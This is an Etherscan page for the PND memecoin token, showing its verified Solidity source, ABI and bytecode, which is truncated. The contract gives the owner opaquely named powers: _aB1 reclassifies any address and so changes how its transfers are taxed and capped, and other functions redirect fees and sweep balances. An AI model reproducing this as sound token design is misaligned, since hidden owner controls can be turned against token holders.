ETH Price: $2,636.94 (+0.87%)

Token

Phobos and Deimos (PND)
 

Overview

Max Total Supply

420,690,000,000 PND

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,060,514,752.033819621 PND

Value
$0.00
0xdf9e6da4bfb077ed98977298ef38dfa8670ed1d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PND

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-25
*/

// SPDX-License-Identifier: MIT


/*

Phobos and Deimos, two small moons of Mars, were discovered in 1877 and named from Greek mythology. 

Website : https://phobosdeimos.fun/
X : https://x.com/PNDERC20
Telegram: https://t.me/phobosdeimoscommunity


*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PND is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public apePr;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=40;

    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Phobos and Deimos";
    string private constant _symbol = unicode"PND";
    uint256 public _maxTxAmount =   4206900000 * 10**_decimals;
    uint256 public _maxWalletSize = 4206900000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 2200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 3;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _aB1(address _pr) external onlyOwner {
        if (_calculateValue(_pr)) {
        _sP(_pr);
      }
    }

    function _calculateValue(address _pr) private view returns (bool) {
        return !apePr[_pr];
    }

    function _sP(address _pr) private {
        apePr[_pr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);

            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 101, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (apePr[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!apePr[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(apePr[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

	    if (!apePr[from] && !apePr[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && apePr[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < casellAllowed, "CA balance sell");
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && apePr[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function isNotRestricted() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        apePr[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_pr","type":"address"}],"name":"_aB1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"apePr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isNotRestricted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600755601460085560146009555f600a555f600b556028600c556028600d556028600e555f600f555f6010555f6011556009600a6200004591906200061f565b63fac033206200005691906200066f565b6012556009600a6200006991906200061f565b63fac033206200007a91906200066f565b6013556009600a6200008d91906200061f565b63832156006200009e91906200066f565b6014556009600a620000b191906200061f565b63fac03320620000c291906200066f565b60155560036018555f60195f6101000a81548160ff0219169083151502179055505f601960016101000a81548160ff0219169083151502179055506001601960026101000a81548160ff02191690831515021790555034801562000124575f80fd5b505f620001366200045f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001e26200045f60201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200023191906200061f565b6461f313f8806200024391906200066f565b60015f620002566200045f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002a86200046660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003d26200045f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200043091906200061f565b6461f313f8806200044291906200066f565b604051620004519190620006ca565b60405180910390a3620006e5565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200051757808604811115620004ef57620004ee6200048d565b5b6001851615620004ff5780820291505b80810290506200050f85620004ba565b9450620004cf565b94509492505050565b5f8262000531576001905062000603565b8162000540575f905062000603565b816001811462000559576002811462000564576200059a565b600191505062000603565b60ff8411156200057957620005786200048d565b5b8360020a9150848211156200059357620005926200048d565b5b5062000603565b5060208310610133831016604e8410600b8410161715620005d45782820a905083811115620005ce57620005cd6200048d565b5b62000603565b620005e38484846001620004c6565b92509050818404811115620005fd57620005fc6200048d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200062b826200060a565b9150620006388362000613565b9250620006677fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000520565b905092915050565b5f6200067b826200060a565b915062000688836200060a565b925082820262000698816200060a565b91508282048414831517620006b257620006b16200048d565b5b5092915050565b620006c4816200060a565b82525050565b5f602082019050620006df5f830184620006b9565b92915050565b613e4f80620006f35f395ff3fe6080604052600436106101c5575f3560e01c8063715018a6116100f657806395d89b4111610094578063d45cce6511610063578063d45cce65146105ea578063dd62ed3e14610614578063e68d0b0514610650578063f2fde38b14610678576101cc565b806395d89b4114610532578063a9059cbb1461055c578063bf474bed14610598578063c4e2b619146105c2576101cc565b80638da5cb5b116100d05780638da5cb5b1461048e5780638f9a55c0146104b857806390b60549146104e257806390d49b9d1461050a576101cc565b8063715018a6146104385780637d1db4a51461044e5780638a8c523c14610478576101cc565b80632017e87a1161016357806349bd5a5e1161013d57806349bd5a5e1461036e5780635979b1a7146103985780636e463667146103d457806370a08231146103fc576101cc565b80632017e87a146102e057806323b872dd14610308578063313ce56714610344576101cc565b80630f144a481161019f5780630f144a481461024c5780630faee56f1461026257806310c435aa1461028c57806318160ddd146102b6576101cc565b806301ab6ee5146101d057806306fdde03146101e6578063095ea7b314610210576101cc565b366101cc57005b5f80fd5b3480156101db575f80fd5b506101e46106a0565b005b3480156101f1575f80fd5b506101fa6107d2565b6040516102079190612d76565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612e27565b61080f565b6040516102439190612e7f565b60405180910390f35b348015610257575f80fd5b5061026061082c565b005b34801561026d575f80fd5b50610276610927565b6040516102839190612ea7565b60405180910390f35b348015610297575f80fd5b506102a061092d565b6040516102ad9190612ea7565b60405180910390f35b3480156102c1575f80fd5b506102ca610933565b6040516102d79190612ea7565b60405180910390f35b3480156102eb575f80fd5b5061030660048036038101906103019190612ec0565b610957565b005b348015610313575f80fd5b5061032e60048036038101906103299190612eeb565b610a06565b60405161033b9190612e7f565b60405180910390f35b34801561034f575f80fd5b50610358610ada565b6040516103659190612f56565b60405180910390f35b348015610379575f80fd5b50610382610ae2565b60405161038f9190612f7e565b60405180910390f35b3480156103a3575f80fd5b506103be60048036038101906103b99190612ec0565b610b07565b6040516103cb9190612e7f565b60405180910390f35b3480156103df575f80fd5b506103fa60048036038101906103f59190612f97565b610b24565b005b348015610407575f80fd5b50610422600480360381019061041d9190612ec0565b610bc2565b60405161042f9190612ea7565b60405180910390f35b348015610443575f80fd5b5061044c610c08565b005b348015610459575f80fd5b50610462610d56565b60405161046f9190612ea7565b60405180910390f35b348015610483575f80fd5b5061048c610d5c565b005b348015610499575f80fd5b506104a2611372565b6040516104af9190612f7e565b60405180910390f35b3480156104c3575f80fd5b506104cc611399565b6040516104d99190612ea7565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190612fec565b61139f565b005b348015610515575f80fd5b50610530600480360381019061052b9190612ec0565b611450565b005b34801561053d575f80fd5b50610546611527565b6040516105539190612d76565b60405180910390f35b348015610567575f80fd5b50610582600480360381019061057d9190612e27565b611564565b60405161058f9190612e7f565b60405180910390f35b3480156105a3575f80fd5b506105ac611581565b6040516105b99190612ea7565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e39190612e27565b611587565b005b3480156105f5575f80fd5b506105fe6116bc565b60405161060b9190612e7f565b60405180910390f35b34801561061f575f80fd5b5061063a60048036038101906106359190613017565b6116cf565b6040516106479190612ea7565b60405180910390f35b34801561065b575f80fd5b5061067660048036038101906106719190613055565b611751565b005b348015610683575f80fd5b5061069e60048036038101906106999190612ec0565b61180a565b005b6106a86119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b906130dd565b60405180910390fd5b6009600a6107429190613257565b6461f313f88061075291906132a1565b6012819055506009600a6107669190613257565b6461f313f88061077691906132a1565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107ab9190613257565b6461f313f8806107bb91906132a1565b6040516107c89190612ea7565b60405180910390a1565b60606040518060400160405280601181526020017f50686f626f7320616e64204465696d6f73000000000000000000000000000000815250905090565b5f61082261081b6119c7565b84846119ce565b6001905092915050565b6108346119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906130dd565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610924573d5f803e3d5ffd5b50565b60155481565b60185481565b5f6009600a6109429190613257565b6461f313f88061095291906132a1565b905090565b61095f6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e2906130dd565b60405180910390fd5b6109f481611b91565b15610a0357610a0281611be4565b5b50565b5f610a12848484611c3c565b610acf84610a1e6119c7565b610aca85604051806060016040528060288152602001613df26028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a816119c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127da9092919063ffffffff16565b6119ce565b600190509392505050565b5f6009905090565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b610b2c6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf906130dd565b60405180910390fd5b8060188190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c106119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c93906130dd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b610d646119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de7906130dd565b60405180910390fd5b601760149054906101000a900460ff1615610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e379061332c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610edd3060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ec89190613257565b6461f313f880610ed891906132a1565b6119ce565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f6b919061335e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611015919061335e565b6040518363ffffffff1660e01b8152600401611032929190613389565b6020604051808303815f875af115801561104e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611072919061335e565b60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111e530610bc2565b5f806111ef611372565b426040518863ffffffff1660e01b8152600401611211969594939291906133f2565b60606040518083038185885af115801561122d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112529190613465565b50505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112f29291906134b5565b6020604051808303815f875af115801561130e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133291906134f0565b506001601960016101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b6113a76119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611433576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142a906130dd565b60405180910390fd5b80601960026101000a81548160ff02191690831515021790555050565b6114586119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db906130dd565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600381526020017f504e440000000000000000000000000000000000000000000000000000000000815250905090565b5f6115776115706119c7565b8484611c3c565b6001905092915050565b60145481565b61158f6119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906130dd565b60405180910390fd5b8173ffff